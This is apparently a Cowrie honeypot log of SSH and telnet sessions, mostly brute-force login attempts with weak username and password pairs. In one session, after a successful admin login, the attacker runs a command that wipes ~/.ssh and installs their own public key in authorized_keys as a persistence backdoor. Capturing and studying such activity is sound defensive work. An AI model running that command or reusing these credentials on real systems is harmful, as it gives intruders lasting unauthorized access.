{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:43.901257Z","src_ip":"45.153.34.97","session":"0d7604bb5066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.120446920394897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:45.057425Z","src_ip":"152.42.224.71","session":"f1ca0fd90f1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":37224,"dst_ip":"10.17.0.5","dst_port":22,"session":"91b5cd320b2a","protocol":"ssh","message":"New connection: 45.153.34.97:37224 (10.17.0.5:22) [session: 91b5cd320b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:46.304963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:46.309131Z","src_ip":"45.153.34.97","session":"91b5cd320b2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:46.392376Z","src_ip":"45.153.34.97","session":"91b5cd320b2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"123456","message":"login attempt [anna/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:46.978472Z","src_ip":"45.153.34.97","session":"91b5cd320b2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":36442,"dst_ip":"10.17.0.5","dst_port":22,"session":"f99f46e0c30e","protocol":"ssh","message":"New connection: 43.135.177.217:36442 (10.17.0.5:22) [session: f99f46e0c30e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:47.087945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:47.093170Z","src_ip":"43.135.177.217","session":"f99f46e0c30e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:47.161614Z","src_ip":"43.135.177.217","session":"f99f46e0c30e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qaz","message":"login attempt [root/123456qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:47.469107Z","src_ip":"43.135.177.217","session":"f99f46e0c30e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:48.069525Z","src_ip":"45.153.34.97","session":"91b5cd320b2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:48.540826Z","src_ip":"43.135.177.217","session":"f99f46e0c30e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":48566,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1e7e666033d","protocol":"ssh","message":"New connection: 45.153.34.97:48566 (10.17.0.5:22) [session: c1e7e666033d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:50.372971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:50.505592Z","src_ip":"45.153.34.97","session":"c1e7e666033d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:50.509828Z","src_ip":"45.153.34.97","session":"c1e7e666033d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p@ssw0rd","message":"login attempt [ubuntu/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:50.881707Z","src_ip":"45.153.34.97","session":"c1e7e666033d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:51.984096Z","src_ip":"45.153.34.97","session":"c1e7e666033d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":60024,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a22ecdf1603","protocol":"ssh","message":"New connection: 43.130.38.88:60024 (159.203.135.109:22) [session: 3a22ecdf1603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:52.003938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:52.009605Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:52.078924Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123456","message":"login attempt [admin/Admin@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:52.386387Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:52.565642Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:52.569700Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:52.573679Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:52.711272Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:52.828882Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:52.833123Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:52.908706Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:52.912313Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":60030,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e0f7c65839d","protocol":"ssh","message":"New connection: 43.130.38.88:60030 (159.203.135.109:22) [session: 2e0f7c65839d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:52.973173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:52.978691Z","src_ip":"43.130.38.88","session":"2e0f7c65839d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:53.047065Z","src_ip":"43.130.38.88","session":"2e0f7c65839d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:53.351116Z","src_ip":"43.130.38.88","session":"2e0f7c65839d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":46896,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3fd372957da","protocol":"ssh","message":"New connection: 43.153.36.83:46896 (10.17.0.5:22) [session: e3fd372957da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:54.161419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:54.167455Z","src_ip":"43.153.36.83","session":"e3fd372957da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:54.236844Z","src_ip":"43.153.36.83","session":"e3fd372957da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:54.423577Z","src_ip":"43.130.38.88","session":"2e0f7c65839d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":60044,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3bcce8a43de","protocol":"ssh","message":"New connection: 43.130.38.88:60044 (159.203.135.109:22) [session: c3bcce8a43de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:54.493682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:54.498893Z","src_ip":"43.130.38.88","session":"c3bcce8a43de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"WW123456.","message":"login attempt [root/WW123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:54.547043Z","src_ip":"43.153.36.83","session":"e3fd372957da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:54.568597Z","src_ip":"43.130.38.88","session":"c3bcce8a43de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":48592,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e634c81606b","protocol":"ssh","message":"New connection: 45.153.34.97:48592 (10.17.0.5:22) [session: 7e634c81606b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:54.574948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:54.584843Z","src_ip":"45.153.34.97","session":"7e634c81606b","protocol":"ssh"}
